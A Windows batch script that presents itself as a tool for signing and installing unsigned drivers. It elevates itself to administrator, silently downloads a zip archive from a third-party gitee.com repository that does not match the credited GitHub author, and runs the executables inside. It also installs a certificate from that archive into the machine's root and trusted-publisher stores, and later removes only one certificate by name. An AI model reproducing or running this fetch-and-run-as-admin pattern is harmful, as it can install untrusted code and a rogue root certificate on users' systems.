@echo off

:: Initial message
echo ====================================================
echo Do not despair of the mercy of God [Quran 39:53]
echo ====================================================
echo Unsigned Driver Installer Tool For Windows
echo By fawazahmed0 @ GitHub
echo ====================================================
:: echo. is newline
echo.


if not exist *.inf (
echo Please paste this .bat file in driver folder where .inf file is located
echo Press any key to exit
pause > NUL
exit
)

net session >nul 2>&1
if NOT %errorLevel% == 0 (
powershell -executionpolicy bypass start -verb runas '%0' am_admin & exit /b
)

cd %~dp0

echo Downloading files required for signing the driver
PowerShell -executionpolicy bypass -Command "(New-Object Net.WebClient).DownloadFile('https://gitee.com/kamado/file-test/raw/main/files.zip', 'files.zip')"


PowerShell -executionpolicy bypass -Command "& {$shell_app=new-object -com shell.application; $filename = \"files.zip\"; $zip_file = $shell_app.namespace((Get-Location).Path + \"\$filename\"); $destination = $shell_app.namespace((Get-Location).Path); $destination.Copyhere($zip_file.items());}"

echo Signing the drivers
files\inf2cat.exe /driver:. /os:7_X64 > nul 2>&1
files\inf2cat.exe /driver:. /os:7_X86 > nul 2>&1
files\SignTool.exe sign /f files\myDrivers.pfx /p testabc /t http://timestamp.verisign.com/scripts/timstamp.dll /v *.cat > nul 2>&1

files\CertMgr.exe -add files\myDrivers.cer -s -r localMachine ROOT > nul 2>&1
files\CertMgr.exe -add files\myDrivers.cer -s -r localMachine TRUSTEDPUBLISHER > nul 2>&1



:: Installing Drivers
pnputil -i -a *.inf > nul 2>&1
if NOT %errorLevel% == 0 (%WinDir%\Sysnative\pnputil.exe -i -a *.inf > nul 2>&1)

files\CertMgr.exe -del -c -n "Fawaz Ahmed" -s -r localMachine ROOT > nul 2>&1
files\CertMgr.exe -del -c -n "Fawaz Ahmed" -s -r localMachine TrustedPublisher > nul 2>&1

echo Deleting the temporary files and folders
rmdir /Q /S files > nul 2>&1
del /f files.zip > nul 2>&1


echo.
echo Driver Installation complete, press any key to exit
pause > NUL
